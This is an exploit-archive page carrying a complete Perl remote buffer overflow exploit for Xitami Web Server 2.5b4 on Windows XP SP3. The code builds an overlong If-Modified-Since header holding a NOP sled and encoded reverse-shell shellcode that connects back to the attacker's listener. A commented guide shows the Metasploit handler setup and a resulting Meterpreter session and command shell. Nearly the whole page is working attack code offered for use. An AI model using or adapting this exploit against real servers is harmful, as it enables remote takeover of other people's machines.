Home / exploitsPDF  

Xitami Web Server 2.5b4 Remote Buffer Overflow

Posted on 04 June 2011

#!/usr/bin/perl # ------------------------------------------------------------- # Xitami Web Server 2.5b4 - Remote Buffer Overflow Exploit. # Exploit coded by mr.pr0n [http://s3cure.gr] . # Many greetz to krumel for his help :-). # ------------------------------------------------------------- # ------------------------------------------------------------- # Tested on: Xitami 2.5b4 / English Windows XP - SP3 # ------------------------------------------------------------- # ------------------------------------------------------------------------ # Bug for 2.5c2 discovered by Krystian Kloskowski (h07) <h07@interia.pl> # ------------------------------------------------------------------------- # # ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * # # -------------------------------- # Quick user guide! # -------------------------------- # 1st Step: Set up the listener. # -------------------------------- # msf > use multi/handler # msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_ord_tcp # PAYLOAD => windows/meterpreter/reverse_ord_tcp # msf exploit(handler) > set LHOST 192.168.178.25 # LHOST => 192.168.178.25 # msf exploit(handler) > exploit # # [*] Started reverse handler on 192.168.178.25:4444 # [*] Starting the payload handler... # # -------------------------------- # 2nd Step: Execute the exploit. # -------------------------------- # root@bt:~# cd Desktop/ # root@bt:~# ./Xitami2_5b4.pl # # #----[ mr.pr0n ]---------------------------------------------------------# # # Target App: Xitami Web Server 2.5b4 # # # Attack : Remote Buffer Overflow Exploit. # # # Target OS : Windows XP Pro English [Service Pack 3]. # # #---------------------------------------------[ http://s3cure.gr ]-------# # # Enter your target's IP (e.g.: 192.168.0.123) # > 192.168.178.37 # # [*] Sending the evil header at: 192.168.178.37 ... # [*] OK, exploitation Done! # [*] Check please for the shell... # # -------------------------------- # 3nd Step: N'joy your shell :-) # -------------------------------- # [*] Transmitting intermediate stager for over-sized stage...(216 bytes) # [*] Sending stage (749056 bytes) to 192.168.178.37 # [*] Meterpreter session 1 opened (192.168.178.25:4444 -> 192.168.178.37:1031) at 2011-05-31 02:13:33 +0300 # # meterpreter > sysinfo # Computer : xxxxxx-xxxxxx # OS : Windows XP (Build 2600, Service Pack 3). # Architecture : x86 # System Language : en_US # Meterpreter : x86/win32 # meterpreter > shell # Process 320 created. # Channel 1 created. # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:Xitami> # # ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * # use IO::Socket; print " #----[ mr.pr0n ]---------------------------------------------------------# "; print "# Target App: Xitami Web Server 2.5b4 # "; print "# Attack : Remote Buffer Overflow Exploit. # "; print "# Target OS : Windows XP Pro English [Service Pack 3]. # "; print "#---------------------------------------------[ http://s3cure.gr ]-------# "; print " Enter your target's IP (e.g.: 192.168.0.123)"; print " > "; $target=<STDIN>; chomp($target); #---------------------------# $junk = "x41" x 72; # 72 x "A". $RET = "x53x2bxabx71"; # ws2_32.dll push ESP - ret - (Windows XP SP3 - [En]). $jmp = "xebx22"; # JMP +0x22. $nops = "x90" x 100; # 100 Nops. #---------------------------# # ./msfpayload win32_reverse_ord EXITFUNC=thread LHOST=192.168.178.25 LPORT=4444 R | ./msfencode -e PexAlphaNum # [*] Using Msf::Encoder::PexAlphaNum with final size of 261 bytes $shellcode = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49". "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36". "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34". "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41". "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx41x33x4bx4d". "x46x56x4bx48x43x34x42x43x4bx48x42x44x4ex30x4bx48". "x42x55x4ex31x4bx38x44x31x4bx48x44x37x42x42x4dx4a". "x4dx4ax50x54x43x50x48x30x4dx53x44x43x43x53x4fx45". "x44x33x45x37x4fx4ex4bx58x4cx36x4ax50x4bx58x45x54". "x4ex33x4bx38x4ex54x45x50x4ax47x4bx58x4ex44x4dx50". "x4ex41x41x30x49x4ex4bx58x41x34x4ax55x41x50x4ax4e". "x4bx48x41x57x4ex53x41x50x50x4ex43x50x49x36x4ex50". "x43x55x4cx46x41x30x4cx36x44x30x4fx4fx42x4dx47x39". "x4ax36x42x4cx4ax4ax44x4bx49x51x4ax36x44x50x42x50". "x41x31x4ex35x49x58x41x4ex43x35x47x4bx4ex50x43x35". "x41x45x47x55x41x45x4cx56x42x41x41x55x47x35x48x55". "x4fx4fx45x4ex5a"; if ($socket = IO::Socket::INET->new (PeerAddr => $target, PeerPort => "80", Proto => "TCP")) { $exploit = $junk.$RET.$jmp.$nops.$shellcode; # #---------------------------------# # If we send an If-Modified-Since header, # containing an overly long string (for example our exploit) # it may be possible to execute (remotely) a payload!! #---------------------------------# # # This is the evil header! }:-) $header = "GET / HTTP/1.1 ". "Host: ".$target." ". "If-Modified-Since: p0wnp0wnb00m! "." $exploit "; print " [*] Sending the evil header at: $target ... "; print $socket $header." "; sleep(1); close($socket); print "[*] OK, exploitation Done! "; print "[*] Check please the shell.. "; } else { print "[-] Connection to $target failed! "; }

 

TOP